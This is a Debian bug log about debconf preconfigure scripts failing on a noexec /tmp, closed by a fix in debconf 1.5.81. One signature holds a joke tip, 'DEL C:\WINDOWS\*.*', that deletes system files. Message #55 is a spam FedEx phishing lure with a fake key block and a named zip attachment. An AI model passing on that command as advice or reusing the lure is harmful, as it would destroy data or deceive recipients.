Debian Bug report logs - #223683
useless noexec option broken further by debconf

Toggle useless messages

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Matus UHLAR - fantomas <uhlar@fantomas.sk>

To: submit@bugs.debian.org

Subject: define temporary directory install/rm scripts

Date: Thu, 11 Dec 2003 15:05:16 +0100

Package: dpkg
Version: 1.9.21

I't like to have a possibility to define temporary directory for
installing packages, at least for running install/rm scripts.

The best way for that imho would be an option to dpkg (--tmpdir ?).

-- 
Matus UHLAR - fantomas, uhlar@fantomas.sk ; http://www.fantomas.sk/
Warning: I don't wish to receive e-mail advertising to this address.
Varovanie: Nezelam si na tuto adresu dostavat akukolvek reklamnu postu.
Boost your system's speed by 500% - DEL C:\WINDOWS\*.*

Message #8 received at 223683-submitter@bugs.debian.org (full text, mbox, reply):

From: Tollef Fog Heen <tfheen@raw.no>

To: 223683-submitter@bugs.debian.org

Subject: Re: define temporary directory install/rm scripts

Date: Wed, 12 May 2004 22:20:28 +0200

> I't like to have a possibility to define temporary directory for
> installing packages, at least for running install/rm scripts.

> The best way for that imho would be an option to dpkg (--tmpdir ?).

I'm not sure what you want a temporary directory for, postinst scripts 
can use tmpdir(1), or you might be looking for --root?

Please give us feedback so we can get an understanding of what you are 
trying to accomplish.

- tfheen

Message #13 received at 223683-quiet@bugs.debian.org (full text, mbox, reply):

From: Matus UHLAR - fantomas <uhlar@fantomas.sk>

To: Tollef Fog Heen <tfheen@raw.no>, 223683-quiet@bugs.debian.org

Cc: 223683-submitter@bugs.debian.org

Subject: Re: Bug#223683: define temporary directory install/rm scripts

Date: Thu, 13 May 2004 08:43:14 +0200

On 12.05 22:20, Tollef Fog Heen wrote:
+> > I't like to have a possibility to define temporary directory for
> > installing packages, at least for running install/rm scripts.
> 
> > The best way for that imho would be an option to dpkg (--tmpdir ?).
> 
> I'm not sure what you want a temporary directory for, postinst scripts 
> can use tmpdir(1), or you might be looking for --root?
> 
> Please give us feedback so we can get an understanding of what you are 
> trying to accomplish.

my problem is, I (want to) have /tmp mounted with noexec option, because of
security reasons. 

dpkg extracts preconfigure scripts into /tmp. in such case I get these
errors:

Preconfiguring packages ...
Can't exec "/tmp/config.48531": Permission denied at
/usr/share/perl/5.6.1/IPC/Open3.pm line 159.
open2: exec of /tmp/config.48531 configure  failed at
/usr/share/perl5/Debconf/ConfModule.pm line 44
xinetd failed to preconfigure, with exit status 255

So I'd invite configuration option which would extract those scripts into
a directory where exec is allowed.
-- 
Matus UHLAR - fantomas, uhlar@fantomas.sk ; http://www.fantomas.sk/
Warning: I wish NOT to receive e-mail advertising to this address.
Varovanie: na tuto adresu chcem NEDOSTAVAT akukolvek reklamnu postu.
M$ Win's are shit, do not use it !

Message #29 received at 223683@bugs.debian.org (full text, mbox, reply):

From: sacrificial-spam-address@horizon.com

To: 223683@bugs.debian.org

Subject: preconfiguring is unhappy when /tmp is noexec

Date: Sun, 17 Feb 2008 18:47:17 -0500

Package: debconf
Version: 1.5.19

Just a "me, too" note to keep the bug fresh.

Just to make life a little bit more difficult for canned exploits on a
web server, I've tried to eliminate directories where daemon users have
both write and exec ability. In particular, /tmp is mounted noexec.

That, however, makes preconfiguring packages unhappy:

Preconfiguring packages ...
Can't exec "/tmp/libc6.config.32281": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/libc6.config.32281 configure 2.7-6 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
libc6 failed to preconfigure, with exit status 9
Can't exec "/tmp/libssl0.9.8.config.32283": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/libssl0.9.8.config.32283 configure 0.9.8g-4 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
libssl0.9.8 failed to preconfigure, with exit status 9
Can't exec "/tmp/tasksel.config.32285": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/tasksel.config.32285 configure 2.71 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
tasksel failed to preconfigure, with exit status 9
Can't exec "/tmp/locales.config.32287": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/locales.config.32287 configure 2.7-7 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
locales failed to preconfigure, with exit status 9
Can't exec "/tmp/openssh-server.config.32289": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/openssh-server.config.32289 configure 1:4.7p1-3 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
openssh-server failed to preconfigure, with exit status 9
Can't exec "/tmp/ca-certificates.config.322811": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/ca-certificates.config.322811 configure 20070303 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
ca-certificates failed to preconfigure, with exit status 9
Can't exec "/tmp/hddtemp.config.32591": Permission denied at /usr/share/perl/5.8/IPC/Open3.pm line 168.
open2: exec of /tmp/hddtemp.config.32591 configure 0.3-beta15-38 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59
hddtemp failed to preconfigure, with exit status 9

To debconf's credit, it survives and configures later, so it's mostly
just ugly.

Possible solutions:
- Just disable preconfiguration if /tmp is noexec
  (Downside: preconfiguration reduces server down-time when upgrading services.)
- Use a subdirectry of /var/lib/dpkg
  (Downside: need to clean up aborted installs manually.)
- Parse #! line manually
  (Downside: the famous security race condition.)

Message #38 received at 223683@bugs.debian.org (full text, mbox, reply):

From: Wesley Schwengle <wesley@schwengle.net>

To: 223683@bugs.debian.org

Subject: Re: define temporary directory install/rm scripts

Date: Mon, 04 Jan 2010 16:23:03 +0100

I have the same problem.

Can't exec "/tmp/sun-java5-jre.config.100721": Permission denied at 
/usr/share/perl/5.10/IPC/Open3.pm line 168.
open2: exec of /tmp/sun-java5-jre.config.100721 configure  failed at 
/usr/share/perl5/Debconf/ConfModule.pm line 59
sun-java5-jre failed to preconfigure, with exit status 255 

Can't exec "/tmp/sun-java5-bin.config.100723": Permission denied at 
/usr/share/perl/5.10/IPC/Open3.pm line 168.
open2: exec of /tmp/sun-java5-bin.config.100723 configure  failed at 
/usr/share/perl5/Debconf/ConfModule.pm line 59
sun-java5-bin failed to preconfigure, with exit status 255 


I also have /tmp with noexec:
tmpfs on /tmp type tmpfs (rw,noexec,nosuid)

Message #55 received at 223683@bugs.debian.org (full text, mbox, reply):

From: rkspbnet@vh210.sweb.ru

To: 223683@bugs.debian.org

Subject: Delivery Status Notification

Date: Fri, 24 Mar 2017 02:14:36 +0300

[Message part 1 (text/plain, inline)]

Dear Customer,

Please check the attachment for your item delivery details!

FedEx

-----BEGIN PGP PUBLIC KEY BLOCK-----

biHHTwih15I6TLqAddoJt/rOPGxUXzeKuMWsav15UuNv/usTzxrcqvhV65JSFzs9DhQHLXnkFu5r
Ia3urWNAYF33EvOobqrzxtqFRSAH0zqgNIKgU1eocB0zXSDBzpbiwaoXi+Ve7Wk88vmImcm2ZQCg
8vF2I7acznlIZoy5ppUjolwOYTKpPlbSpCEOm4pvJdNyyo6sOq+Ni4pmy72asH5K/cqPyX9plFAs
amwDd8VT0JqSjlVjjDIecQiyBIZN8NoSXgD4IDo4TY5tq2NxrS3EiL0v0C+QtaHN2lASjE2ZUekw
uPAbocKFcC1oeR0Spd6Xwr2NlRsiTN4Z4gWXaNe9W+HrVVZT9qvxMLdjPKu5Rz7+Owv9qoW5NDV8
qGBMYYE51RNAwrX5fexj/ZfyBpgyAUolgq6Ou1T9Bqnbe8P2eVt8T6KOYwbIwsy64grvHwImbZeO
gX0kVJrDcxi0H9TXHO1G9Kiyu+neV1v0sfim7Nz7mzrnRBb55ybDDX4pnwus+cgIAm3V1QXBfCC5
UpvlM6D1P3isuJnccqNzZRh3YXZBxyLLhbtBsWG0MKu86+TfqfNEedVzhMn9LGDWEsTEHsSquQGw
C581AqiMQ4csivqzRaCEp8tyCDXn7KKh3hzaY4mPBXg4ZDFN1HvGebLbyiJN1LjJnoFIK001X4gU
kqJjizESBOAHEKxRKWAm3FGQB/Lzk3GudSMUqISkumrQwaTu3sT1B9xgT0uX5f0uIMO0AZlzRxEv
kpD7zNUHhgGy6v9nlwvvfuzPBMS+uy8qkejHCbxwQHopOURuMODA7kRMGZNjUx0A8cLYtKaROrEz
mTSiMeJuFkkhPteqJwcMxnsRl+A17PdIsC3P5rT7jJ8q9dPOixe9plDs/XPZvc6StHcD1P5TS+OB
k5jVEoHbpAdHEhUN0t8+DbHFCjlOeKeWRQ3tTDZWT2A4tTdv5MrlzGbEKMc8Key6kx4nj1/DwBma
FdUqtpJs6dEiQ13csHxtmu8TFK8VIqjg3225lvXM2/76FYlo1HTsJoqnOkKNYpuFrFOcCocmWGfU
of7kMIPLCDxUpr7s+xViEJ2eXXvNJksQkFasaQ8Gdkr9DM9y36i8s4yEdcBXYoqBfcUjJEMGBqCS
2Mn5kCpI+nlBffrUtAXfSA7fb5I0gK/UBY8AGw5ajKrjm60s3bgNm4Qaz5nRA8lwXdF7RJA/TwjT
x714cAM5y3LOaG0jvNgCVHYrwcr/mvt3h7SEdXLnB7ujDj/gxrYFI9oDTSu0c7w4NQosxTntOleF
LTFmvMSS1OU1DJrOtebqW3akNsw59BE680pSYBz9/w==


-----END PGP PUBLIC KEY BLOCK-----

[FedEx-Label-ID-O82FD4I1.zip (application/zip, attachment)]

Message #66 received at 223683-submitter@bugs.debian.org (full text, mbox, reply):

From: Colin Watson <cjwatson@debian.org>

To: 223683-submitter@bugs.debian.org

Subject: Bug#223683 marked as pending in debconf

Date: Mon, 26 Dec 2022 22:46:45 +0000

Control: tag -1 pending

Hello,

Bug #223683 in debconf reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/pkg-debconf/debconf/-/commit/072ede5f3e89d433b0fa040af5498ca9e0559b7e

------------------------------------------------------------------------
dpkg-preconfigure: Extract into /var/cache/debconf/tmp.ci

This avoids problems if /tmp is mounted noexec.

Closes: #223683, LP: #90085
------------------------------------------------------------------------

(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/223683

Message #73 received at 223683-close@bugs.debian.org (full text, mbox, reply):

From: Debian FTP Masters <ftpmaster@ftp-master.debian.org>

To: 223683-close@bugs.debian.org

Subject: Bug#223683: fixed in debconf 1.5.81

Date: Sun, 01 Jan 2023 20:52:56 +0000

Source: debconf
Source-Version: 1.5.81
Done: Colin Watson <cjwatson@debian.org>

We believe that the bug you reported is fixed in the latest version of
debconf, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 223683@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Colin Watson <cjwatson@debian.org> (supplier of updated debconf package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 1.8
Date: Sun, 01 Jan 2023 20:27:59 +0000
Source: debconf
Architecture: source
Version: 1.5.81
Distribution: unstable
Urgency: medium
Maintainer: Debconf Developers <debconf-devel@lists.alioth.debian.org>
Changed-By: Colin Watson <cjwatson@debian.org>
Closes: 223683 369953 657626 737392 929417 968814
Changes:
 debconf (1.5.81) unstable; urgency=medium
 .
   [ martin f krafft ]
   * confmodule: Allow use from scripts with "set -u" (closes: #369953).
 .
   [ Colin Watson ]
   * dpkg-preconfigure: Extract into /var/cache/debconf/tmp.ci, to avoid
     problems if /tmp is mounted noexec (closes: #223683, LP: #90085).
   * dpkg-reconfigure: Document --terse (closes: #737392).
 .
   [ Jakub Wilk ]
   * debconf-get-selections: Sort output by question name (closes: #968814).
 .
   [ Matthijs Kooijman ]
   * Display unsupported commands in debug logging (closes: #657626).
 .
   [ Anders Kaseorg ]
   * Make Readline frontend check that stdin is a tty (closes: #929417).
Checksums-Sha1:
 c000c0e486d97966b25b0b480e1e9188e7cd4708 2035 debconf_1.5.81.dsc
 6d99811bffe858a9e91dbf2786cf1a5760c32a77 571648 debconf_1.5.81.tar.xz
Checksums-Sha256:
 df592dedb028c311bd18082b9b1b28735a1653b41fd30ced5977bc1fb697351f 2035 debconf_1.5.81.dsc
 3cc3bbc431ed2dbba8a084cea244af6e32299699477f09a5fbd380c0e1572183 571648 debconf_1.5.81.tar.xz
Files:
 0944adb1f495f9c3c9b9540faeeeb8cc 2035 admin optional debconf_1.5.81.dsc
 88e44c1a9b88312b632193da05c4b5fc 571648 admin optional debconf_1.5.81.tar.xz

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEErApP8SYRtvzPAcEROTWH2X2GUAsFAmOx7PAACgkQOTWH2X2G
UAuqbg/7Blz5ylZizwY1cnygEcKYQPzmBggSvvhIyBkEPv/w0ZsWSvadnaYjdpOk
DRCnUfQdJmidDB8LOmHwFl7/cZyXTvcw58gmzQoorwRonPGnXmZWzudEUa+3pCEi
xchOQONTD8KCoSccw2YG2UeixAeIrDXVlOMvlWjeFZAl3lBeXcUiCyjiV4q7cW28
zfgU6EhAVV+NxoQd5yMAPWnsGV/x4DGlrAY1AfSUj17Fij+i6/OB0LWKuuIuAMPu
LIPOPvUAC+EK0d08xW4Hyr5ey5Z5Ew8sqC5ch75Wy1xBCn992PuY1Dh0YSi0DWs2
OjmdICAV3ZFsAntYvsG41XdgffVAu/V1KJ1wMwlscHXbZ0JSaWg2KlOFxXztTdSw
ND8Bjtmxzda+f93gUntT3E7A8/LvLdLZCDgcfM1qhOuyQroMB+2fBHZ/b1US4Y1E
t0IjCx1QhiRVM/4T0TMkdeYTTWupWAW1iot1jTqV0/tHQ4GVU+Asur1nuOhlICMM
RqG15yLpgBpel74aP2mSjNbhHMBqvvZShB9fy8PJNvDIIFJ/7CPwB4vTHYBgt7R+
s3fu5RNhksm6235w0HBdm+lIhrHDJpyik1arYkzYK5e7w11VEZ6XFVYlxRgBWZ7S
xlRCtd4LwvseqKvoYddEhykZAYELrBunYDCkkJ173NZysz+B4/8=
=PsVl
-----END PGP SIGNATURE-----

Send a report that this bug log contains spam.